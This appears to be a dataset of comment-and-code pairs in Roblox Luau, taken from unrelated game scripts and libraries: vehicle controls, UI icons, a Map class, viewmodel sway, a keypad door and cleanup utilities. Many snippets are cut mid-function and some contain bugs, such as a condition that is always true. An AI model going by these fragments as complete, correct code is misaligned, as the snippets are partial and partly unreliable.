Core.Connections[cli] = nil
if p then
Anti.KickedPlayers[p] = nil
AddLog("Script", {
Text = p.Name .. " disconnected";
Desc = p.Name .. " disconnected from the server";
Player = p;
})
else
AddLog("Script", {
Text = "<UNKNOWN> disconnected";
Desc = "An unknown user disconnected from the server";
})
end
service.Events.NetworkRemoved:Fire(cli)
end;
--[[
PlayerTeleported = function(p,data)
end;
]]
};
end
|
--[[
Constructs and returns objects which can be used to model derived reactive
state.
]] |
local Package = script.Parent.Parent
local captureDependencies = require(Package.Dependencies.captureDependencies)
local initDependency = require(Package.Dependencies.initDependency)
local useDependency = require(Package.Dependencies.useDependency)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)
local class = {}
local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
--[[ Top Level Roblox Services ]] | --
local PlayersService = game:GetService("Players")
local RunService = game:GetService("RunService")
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed using client.Functions.GetRandom() |
return function(data)
local gui = client.UI.Prepare(script.Parent.Parent)
local playergui = service.PlayerGui
local frame = gui.Drag.Frame
local close = gui.Drag.Frame.Close
local main = gui.Drag.Frame.Main
local ques = gui.Drag.Frame.Main.Question
local ans = gui.Drag.Frame.Main.Answers
local entry = gui.Entry
local question = data.Question
local answers = data.Answers
local selected
ques.Text = question
close.MouseButton1Click:connect(function()
gui:Destroy()
selected = false
end)
local num = 0
for i,v in pairs(answers) do
local clone = entry:clone()
clone.Parent = ans
clone.Text = v
clone.Position = UDim2.new(0,0,0,num*20)
clone.Visible = true
clone.MouseButton1Click:connect(function()
gui:Destroy()
selected = v
end)
num=num+1
end
gTable:Ready()
local temp = 0
repeat wait(0.1) temp=temp+0.1 until temp>60 or selected~=nil
if gui and gui.Parent then gui:Destroy() end
return selected
end
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "u" then --Window controls
if windows == false then
winfob.Visible = true
windows = true
else windows = false
winfob.Visible = false
end
elseif key == "[" then -- volume down
if carSeat.Parent.Body.MP.Sound.Volume > 0 then
handler:FireServer('updateVolume', -0.2)
end
elseif key == "]" then -- volume up
if carSeat.Parent.Body.MP.Sound.Volume < 10 then
handler:FireServer('updateVolume', 0.2)
end
end
end)
winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('updateSong', winfob.mg.Input.Text)
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key:byte() == 48 then --Camera controls
st = false
end
end)
HUB2.W.MouseButton1Click:connect(function()
handler:FireServer('wws',carSeat.WS.Value,st)
handler:FireServer('wwr',carSeat.WS.Value,st)
end)
HUB2.UpW.MouseButton1Click:connect(function()
handler:FireServer('wspd',1)
end)
HUB2.DnW.MouseButton1Click:connect(function()
handler:FireServer('wspd',-1)
end)
HUB2.SS.MouseButton1Click:connect(function()
carSeat.SST.Value = not carSeat.SST.Value
end)
for i,v in pairs(script.Parent:getChildren()) do
if v:IsA('TextButton') then
v.MouseButton1Click:connect(function()
if carSeat.Windows:FindFirstChild(v.Name) then
local v = carSeat.Windows:FindFirstChild(v.Name)
if v.Value == true then
handler:FireServer('updateWindows', v.Name, false)
else
handler:FireServer('updateWindows', v.Name, true)
end
end
end)
end
end
|
--[[
streamable = Streamable.new(parent: Instance, childName: string)
streamable:Observe(handler: (child: Instance, janitor: Janitor) -> void): Connection
streamable:Destroy()
--]] |
type StreamableWithInstance = {
Instance: Instance?,
[any]: any,
}
local Janitor = require(script.Parent.Janitor)
local Signal = require(script.Parent.Signal)
local Streamable = {}
Streamable.__index = Streamable
function Streamable.new(parent: Instance, childName: string)
local self: StreamableWithInstance = {}
setmetatable(self, Streamable)
self._janitor = Janitor.new()
self._shown = Signal.new(self._janitor)
self._shownJanitor = Janitor.new()
self._janitor:Add(self._shownJanitor)
self.Instance = parent:FindFirstChild(childName)
local function OnInstanceSet()
local instance = self.Instance
if typeof(instance) == "Instance" then
self._shown:Fire(instance, self._shownJanitor)
self._shownJanitor:Add(instance:GetPropertyChangedSignal("Parent"):Connect(function()
if not instance.Parent then
self._shownJanitor:Cleanup()
end
end))
self._shownJanitor:Add(function()
if self.Instance == instance then
self.Instance = nil
end
end)
end
end
local function OnChildAdded(child: Instance)
if child.Name == childName and not self.Instance then
self.Instance = child
OnInstanceSet()
end
end
self._janitor:Add(parent.ChildAdded:Connect(OnChildAdded))
if self.Instance then
OnInstanceSet()
end
return self
end
function Streamable:Observe(handler)
if self.Instance then
task.spawn(handler, self.Instance, self._shownJanitor)
end
return self._shown:Connect(handler)
end
function Streamable:Destroy()
self._janitor:Destroy()
end
local s = Streamable.new(workspace, "X")
export type Streamable = typeof(s)
s:Destroy()
return Streamable
|
--[=[
@param object any -- Object to track
@param cleanupMethod string? -- Optional cleanup name override
@return object: any
Adds an object to the Janitor. Once the Janitor is cleaned or
destroyed, the object will also be cleaned up.
The object must be any of the following:
- Roblox instance (e.g. Part)
- RBXScriptConnection (e.g. `workspace.ChildAdded:Connect(function() end)`)
- Function
- Table with either a `Destroy` or `Disconnect` method
- Table with custom `cleanupMethod` name provided
Returns the object added.
```lua
-- Add a part to the Janitor, then destroy the Janitor,
-- which will also destroy the part:
local part = Instance.new("Part")
Janitor:Add(part)
Janitor:Destroy()
-- Add a function to the Janitor:
Janitor:Add(function()
print("Cleanup!")
end)
Janitor:Destroy()
-- Standard cleanup from table:
local tbl = {}
function tbl:Destroy()
print("Cleanup")
end
Janitor:Add(tbl)
-- Custom cleanup from table:
local tbl = {}
function tbl:DoSomething()
print("Do something on cleanup")
end
Janitor:Add(tbl, "DoSomething")
```
]=] |
function Janitor:Add(object: any, cleanupMethod: string?): any
local cleanup = GetObjectCleanupFunction(object, cleanupMethod)
table.insert(self._objects, {object, cleanup})
return object
end
|
--[[
Classes.RadioButtonLabel
This class creates a single radio button label.
Constructors:
new(frame [instance])
>
Create(text)
> Creates a RadioButtonLabel from the text provided.
Properties:
Frame [instance]
> The container frame for the RadioButtonLabel. Can be used for positioning and resizing.
Button [instance]
> The button used to track when the user clicks on the radio button or not
Methods:
:GetValue() [boolean]
> Returns whether the button is selected or not.
:SetValue(bool [boolean]) [void]
> Sets if the button is selected or not
:Destroy() [void]
> Destroys the RadioButtonLabel and all the events, etc that were running it.
--]] | |
-- WorldSpace -> ScreenSpace. Raw function taking a world position and giving you the
-- screen position. |
function ScreenSpace.WorldToScreen(at)
local point = Workspace.CurrentCamera.CoordinateFrame:pointToObjectSpace(at)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
--
local x = (point.x/point.z) / -wfactor
local y = (point.y/point.z) / hfactor
--
return Vector2.new(ScreenSpace.ViewSizeX()*(0.5 + 0.5*x), ScreenSpace.ViewSizeY()*(0.5 + 0.5*y))
end
|
--[[
LOWGames Studios
Date: 27 October 2022
by Elder
]] | --
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1, p2)
for v1, v2 in ipairs(p1) do
if v2 == p2 then
return true;
end;
end;
return false;
end;
|
--This module is meant for functions that are universally used across all FX modules |
local GameFXModule = {}
return GameFXModule
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=0
local trm=0
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
|
--// Ammo Settings |
Ammo = 8;
StoredAmmo = 8;
MagCount = 900;
|
----------------------------------------------------------------------- |
EngineModule.StartUp = function()
engine.StartUp:Play()
for _,s in pairs(Misc:GetChildren()) do
if s.Name == "Vents" then
s.Smoke.Enabled = true
end
end
for _,i in pairs(Misc:GetChildren()) do
if i.Name == "Rotor" and i:FindFirstChild("Motor") ~= nil then
repeat wait(0.05)
i.Motor.MaxVelocity = i.Motor.MaxVelocity + 0.005
until i.Motor.MaxVelocity >= 0.3
end
end
wait(StartUpTime)
engine.Flying:Play()
engine.StartUp:Stop()
for _,e in pairs(Misc:GetChildren()) do
if e.Name == "Vents" then
e.Smoke.Enabled = false
end
end
end |
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Sunrise",Paint)
end)
|
-- this bit 1 means constant (0 means register) |
luaP.BITRK = math.ldexp(1, luaP.SIZE_B - 1)
|
--- |
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 200, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 200, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
local handler = car.Taxi
script.Parent.MouseButton1Click:connect(function()
if car.Body.Taxi.F.L.L.Enabled == false then
handler:FireServer("Lights",1)
script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
for index, child in pairs(car.Body.Taxi.F:GetChildren()) do
child.Material = Enum.Material.Neon
child.L.Enabled = true
end
elseif car.Body.Taxi.F.L.L.Enabled == true then
handler:FireServer("Lights",0)
script.Parent.BackgroundColor3 = Color3.new(0,0,0)
script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
for index, child in pairs(car.Body.Taxi.F:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
child.L.Enabled = false
end
end
end)
|
-- How rare the weapon is and how hard it is to get. |
if _M.DropsWeapon2 == true and DropChance == (_M.WeaponChance2) then -- If the correct value is pulled, enable the item to be dropped
Enemy.Died:Connect(DropItem) -- Drop item if dead
end |
-- Implements Javascript's `Map.prototype.forEach` as defined below
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach |
function Map:forEach(callback: mapCallbackFn<any, any> | mapCallbackFnWithThisArg<any, any>, thisArg: Object?): ()
if _G.__DEV__ then
if typeof(callback) ~= "function" then
error("callback is not a function")
end
end
-- note: we can't turn this into a simple for-in loop, because the callbacks can modify the table and React, GQL, and Jest rely on JS behavior in that scenario
arrayForEach(self._array, function(key)
local value = self._map[key]
if thisArg ~= nil then
(callback :: mapCallbackFnWithThisArg<any, any>)(thisArg, value, key, self)
else
(callback :: mapCallbackFn<any, any>)(value, key, self)
end
end)
end
function Map:has(key): boolean
return self._map[key] ~= nil
end
function Map:keys()
return self._array
end
function Map:values()
return arrayMap(self._array, function(key)
return self._map[key]
end)
end
function Map:entries()
return arrayMap(self._array, function(key)
return { key, self._map[key] }
end)
end
function Map:ipairs()
if _G.__DEV__ then
warn(
debug.traceback(
"`for _,_ in myMap:ipairs() do` is deprecated and will be removed in a future release, please use `for _,_ in myMap do` instead\n",
2
)
)
end
return ipairs(self:entries())
end
function Map.__iter(self)
return next, self:entries()
end
function Map.__index(self, key)
local mapProp = rawget(Map, key)
if mapProp ~= nil then
return mapProp
end
return Map.get(self, key)
end
function Map.__newindex(table_, key, value)
table_:set(key, value)
end
return Map
|
--Script |
feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text
feedbackMain.InputBox.Input.Changed:Connect(function()
feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text
if maxCharacters - #feedbackMain.InputBox.Input.Text < 0 then
feedbackMain.CharactersLeft.TextColor3 = Color3.fromRGB(255,50,50)
feedbackMain.SendButton.Style = Enum.ButtonStyle.RobloxRoundButton
else
feedbackMain.CharactersLeft.TextColor3 = Color3.fromRGB(255,255,255)
feedbackMain.SendButton.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
end
end)
local db = false
feedbackMain.SendButton.MouseButton1Click:Connect(function()
if not db and maxCharacters - #feedbackMain.InputBox.Input.Text >= 0 then
db = true
local msg = feedbackMain.InputBox.Input.Text
feedbackMain.InputBox.Input.Text = "Sending Message..."
local response = game.ReplicatedStorage.FilteringFunction:InvokeServer(msg)
feedbackMain.InputBox.Input.Text = response
wait(5)
if feedbackMain.InputBox.Input.Text == response then
feedbackMain.InputBox.Input.Text = "Type feedback/bug report here"
end
db = false
end
end)
script.Parent.Button.MouseButton1Click:Connect(function()
open = not open
if open then
feedbackMain:TweenPosition(UDim2.new(1,-300,1,-300),"Out","Quint",0.3,true)
else
feedbackMain:TweenPosition(UDim2.new(1,100,1,-300),"Out","Quint",0.3,true)
end
end)
|
-- Etc |
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = 5
local PATROL_WALKSPEED = 12
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local SEARCH_DELAY = 1
|
--//Functions |
local function JumpEffect(jumpingChar)
local platform = oriPlatform:Clone()
platform.CFrame = (jumpingChar.PrimaryPart.CFrame-Vector3.new(0,hum.HipHeight/2,0))*CFrame.Angles(0,0,math.rad(90))
platform.Parent = workspace
tween:Create(platform, TweenInfo.new(0.5), {Size = Vector3.new(0.2, 10, 10)}):Play()
tween:Create(platform, TweenInfo.new(0.5, Enum.EasingStyle.Quint, Enum.EasingDirection.In), {Transparency = 1}):Play()
tween:Create(platform.Decal, TweenInfo.new(0.5), {Transparency = 1}):Play()
wait(0.8)
platform:Destroy()
end
|
--[[Transmission]] |
Tune.TransModes = {"Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
Tune.ShiftTime = .3 -- The time delay in which you initiate a shift and the car changes gear
--Gear Ratios
Tune.FinalDrive = 3.45 -- [TRANSMISSION CALCULATIONS FOR NERDS]
Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
--[[ R ]] 3.3 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
--[[ N ]] 0 ,
--[[ 1 ]] 16.6 ,
--[[ 2 ]] 11.2 ,
--[[ 3 ]] 6.7 ,
--[[ 4 ]] 4.5 ,
--[[ 5 ]] 3.5 ,
}
Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--\\Main//-- |
for Number, Instance in pairs(game.Workspace:GetChildren()) do
if Instance:IsA("Part") and Instance.Name == "Union" or "Pipe Part" or "Pipe" then
Instance.Touched:Connect(function(Hit)
local Player = PlayerService:GetPlayerFromCharacter(Hit.Parent)
if not Player then return end
Player.Character:FindFirstChild("Humanoid").Sit = true
end)
end
end
|
--// F key, Horn |
UserInputService.InputEnded:Connect(function(input,gameprocessedevent)
if gameprocessedevent == false then
if input.KeyCode == Enum.KeyCode.F then
event:FireServer("HornOff")
end
end
end)
|
--// Positioning |
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
LeftArmPos = CFrame.new(0.805950999, 0.654529691, -1.92835343, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
}
return Settings
|
--end |
end
end
function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!! |
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Flies |
--created by
------------------------------------------
--Clear And Enter |
function Clear()
print("Cleared")
script.Parent.B0.ClickS:Play()
Input = ""
end
script.Parent.Clear.ClickDetector.MouseClick:connect(Clear)
function Enter()
if Input == Code then
print("Entered")
Input = ""
local door = script.Parent.Parent.Door
local decal1 = script.Parent.Parent.Door.TEX1
local decal2 = script.Parent.Parent.Door.TEX2
door.CanCollide = false
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
-- OPENING SOUND --
script.Parent.Parent.Door.OPEN:Play()
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = door.Transparency + 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency + .1
decal2.Transparency = decal2.Transparency + .1
door.Transparency = 0.8
wait(3)
-- CLOSING SOUND --
script.Parent.Parent.Door.CLOSE:Play()
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = door.Transparency - 0.1
wait(TIEMPO)
decal1.Transparency = decal1.Transparency - .1
decal2.Transparency = decal2.Transparency - .1
door.Transparency = 0
door.CanCollide = true
return end
Input = ""
print("Wrong Code")
if SounDebounce == true then
SounDebounce = false
script.Parent.B0.Wrong:Play()
script.Parent.B0.Wrong.Ended:Wait()
SounDebounce = true
end
end
script.Parent.Enter.ClickDetector.MouseClick:connect(Enter)
|
--// F key, Horn |
mouse.KeyDown:connect(function(key)
if key=="f" then
veh.ELS.Sirens.AH.Transparency = 0
veh.ELS.Siren.Airhorn:Play()
veh.ELS.Siren2.Airhorn:Play()
veh.ELS.Sirens.Horn.Transparency = 0
veh.ELS.Siren.Wail.Volume = 0
veh.ELS.Siren.Yelp.Volume = 0
veh.ELS.Siren.Priority.Volume = 0
veh.ELS.Siren2.Wail.Volume = 0
veh.ELS.Siren2.Yelp.Volume = 0
veh.ELS.Siren2.Priority.Volume = 0
end
end)
|
--// Math |
local L_104_ = function(L_141_arg1, L_142_arg2, L_143_arg3)
if L_141_arg1 > L_143_arg3 then
return L_143_arg3
elseif L_141_arg1 < L_142_arg2 then
return L_142_arg2
end
return L_141_arg1
end
local L_105_ = L_93_.new(Vector3.new())
L_105_.s = 30
L_105_.d = 0.55
local L_106_ = CFrame.Angles(0, 0, 0)
|
-- perform the update loop
-- do the R6 update loop |
stepped_con = game:GetService("RunService").RenderStepped:Connect(function()
swaysize = script.WalkSwayMultiplier.Value
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
local modifierr = 0
local statething = player:GetAttribute('State')
-- make arms visible
if larm.LocalTransparencyModifier ~= 0 then
visiblearms(true)
end
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.2*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
--
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway == true then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
-- cframe the viewmodel
if statething ~= nil and statething == "Crouching" and player.Character:FindFirstChildWhichIsA("Tool") then
modifierr = 20
end
if statething ~= nil and statething == "Crawling" and player.Character:FindFirstChildWhichIsA("Tool") then
modifierr = 80
end
local CamY, CamX, CamZ = camera.CFrame:ToEulerAnglesYXZ()
local direction = Vector2.new(
math.rad(player.Character.HumanoidRootPart.CFrame.RightVector:Dot((-player.Character.HumanoidRootPart.Velocity * Vector3.new(1,0,1)).Unit) * 200),
math.rad(player.Character.HumanoidRootPart.CFrame.LookVector:Dot((-player.Character.HumanoidRootPart.Velocity * Vector3.new(1,0,1)).Unit) * 200)
)
local tilt = direction.Unit * math.clamp((player.Character.HumanoidRootPart.Velocity.Magnitude / 14), 0, 2)
local firstframe = CFrame.new( Vector3.new(camera.CFrame.Position.X,camera.CFrame.Position.Y,camera.CFrame.Position.Z) ) * CFrame.fromEulerAnglesXYZ(CamY + math.rad(modifierr),0,0)
local TorsX,TorsY,TorsZ = player.Character.Torso.CFrame.Rotation:ToEulerAnglesXYZ()
local torsoframe = CFrame.Angles(TorsX,TorsY,TorsZ)
local countercf = CFrame.new()
if script.CFrameAimOffset.Value.Position.X ~= 0 or not (script.CFrameAimOffset.Value.Position.X <= 0.1) then
--countercf = CFrame.Angles(math.rad(-tilt.Y * 3),math.rad(-tilt.X * 4),math.rad(-tilt.X * 6))
end
local finalcf = (CFrame.new(firstframe.Position)*torsoframe*firstframe.Rotation*walksway*jumpsway*strafesway*countercf*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
local builtcf = finalcf * script.CFrameAimOffset.Value:Inverse()
viewmodel:SetPrimaryPartCFrame(builtcf)
end
end)
|
-- TOGGLEABLE METHODS |
function Icon:setLabel(text, iconState)
text = text or ""
self:set("iconText", text, iconState)
return self
end
function Icon:setCornerRadius(scale, offset, iconState)
local oldCornerRadius = self.instances.iconCorner.CornerRadius
local newCornerRadius = UDim.new(scale or oldCornerRadius.Scale, offset or oldCornerRadius.Offset)
self:set("iconCornerRadius", newCornerRadius, iconState)
return self
end
function Icon:setImage(imageId, iconState)
local textureId = (tonumber(imageId) and "http://www.roblox.com/asset/?id="..imageId) or imageId or ""
return self:set("iconImage", textureId, iconState)
end
function Icon:setOrder(order, iconState)
local newOrder = tonumber(order) or 1
return self:set("order", newOrder, iconState)
end
function Icon:setLeft(iconState)
return self:set("alignment", "left", iconState)
end
function Icon:setMid(iconState)
return self:set("alignment", "mid", iconState)
end
function Icon:setRight(iconState)
return self:set("alignment", "right", iconState)
end
function Icon:setImageYScale(YScale, iconState)
local newYScale = tonumber(YScale) or 0.63
return self:set("iconImageYScale", newYScale, iconState)
end
function Icon:setImageRatio(ratio, iconState)
local newRatio = tonumber(ratio) or 1
return self:set("iconImageRatio", newRatio, iconState)
end
function Icon:setLabelYScale(YScale, iconState)
local newYScale = tonumber(YScale) or 0.45
return self:set("iconLabelYScale", newYScale, iconState)
end
function Icon:setBaseZIndex(ZIndex, iconState)
local newBaseZIndex = tonumber(ZIndex) or 1
return self:set("baseZIndex", newBaseZIndex, iconState)
end
function Icon:_updateBaseZIndex(baseValue)
local container = self.instances.iconContainer
local newBaseValue = tonumber(baseValue) or container.ZIndex
local difference = newBaseValue - container.ZIndex
if difference == 0 then return "The baseValue is the same" end
for _, object in pairs(self.instances) do
object.ZIndex = object.ZIndex + difference
end
return true
end
function Icon:setSize(XOffset, YOffset, iconState)
local newXOffset = tonumber(XOffset) or 32
local newYOffset = tonumber(YOffset) or newXOffset
self:set("forcedIconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState)
self:set("iconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState)
return self
end
function Icon:_updateIconSize(_, iconState)
if self._destroyed then return end
-- This is responsible for handling the appearance and size of the icons label and image, in additon to its own size
local X_MARGIN = 12
local X_GAP = 8
local values = {
iconImage = self:get("iconImage", iconState) or "_NIL",
iconText = self:get("iconText", iconState) or "_NIL",
iconSize = self:get("iconSize", iconState) or "_NIL",
forcedIconSize = self:get("forcedIconSize", iconState) or "_NIL",
iconImageYScale = self:get("iconImageYScale", iconState) or "_NIL",
iconImageRatio = self:get("iconImageRatio", iconState) or "_NIL",
iconLabelYScale = self:get("iconLabelYScale", iconState) or "_NIL",
}
for k,v in pairs(values) do
if v == "_NIL" then
return
end
end
local iconContainer = self.instances.iconContainer
local iconLabel = self.instances.iconLabel
if not iconContainer.Parent then return end
-- We calculate the cells dimensions as apposed to reading because there's a possibility the cells dimensions were changed at the exact time and have not yet updated
-- this essentially saves us from waiting a heartbeat which causes additonal complications
local cellSizeXOffset = values.iconSize.X.Offset
local cellSizeXScale = values.iconSize.X.Scale
local cellWidth = cellSizeXOffset + (cellSizeXScale * iconContainer.Parent.AbsoluteSize.X)
local minCellWidth = values.forcedIconSize.X.Offset--cellWidth
local maxCellWidth = (cellSizeXScale > 0 and cellWidth) or 9999
local cellSizeYOffset = values.iconSize.Y.Offset
local cellSizeYScale = values.iconSize.Y.Scale
local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y)
local labelHeight = cellHeight * values.iconLabelYScale
local labelWidth = textService:GetTextSize(values.iconText, labelHeight, iconLabel.Font, Vector2.new(10000, labelHeight)).X
local imageWidth = cellHeight * values.iconImageYScale * values.iconImageRatio
local usingImage = values.iconImage ~= ""
local usingText = values.iconText ~= ""
local notifPosYScale = 0.5
local desiredCellWidth
if usingImage and not usingText then
notifPosYScale = 0.45
self:set("iconImageVisible", true, iconState)
self:set("iconImageAnchorPoint", Vector2.new(0.5, 0.5), iconState)
self:set("iconImagePosition", UDim2.new(0.5, 0, 0.5, 0), iconState)
self:set("iconImageSize", UDim2.new(values.iconImageYScale*values.iconImageRatio, 0, values.iconImageYScale, 0), iconState)
self:set("iconLabelVisible", false, iconState)
elseif not usingImage and usingText then
desiredCellWidth = labelWidth+(X_MARGIN*2)
self:set("iconLabelVisible", true, iconState)
self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState)
self:set("iconLabelPosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState)
self:set("iconLabelSize", UDim2.new(1, -X_MARGIN*2, values.iconLabelYScale, 0), iconState)
self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Center, iconState)
self:set("iconImageVisible", false, iconState)
elseif usingImage and usingText then
local labelGap = X_MARGIN + imageWidth + X_GAP
desiredCellWidth = labelGap + labelWidth + X_MARGIN
self:set("iconImageVisible", true, iconState)
self:set("iconImageAnchorPoint", Vector2.new(0, 0.5), iconState)
self:set("iconImagePosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState)
self:set("iconImageSize", UDim2.new(0, imageWidth, values.iconImageYScale, 0), iconState)
----
self:set("iconLabelVisible", true, iconState)
self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState)
self:set("iconLabelPosition", UDim2.new(0, labelGap, 0.5, 0), iconState)
self:set("iconLabelSize", UDim2.new(1, -labelGap-X_MARGIN, values.iconLabelYScale, 0), iconState)
self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Left, iconState)
end
if desiredCellWidth then
if not self._updatingIconSize then
self._updatingIconSize = true
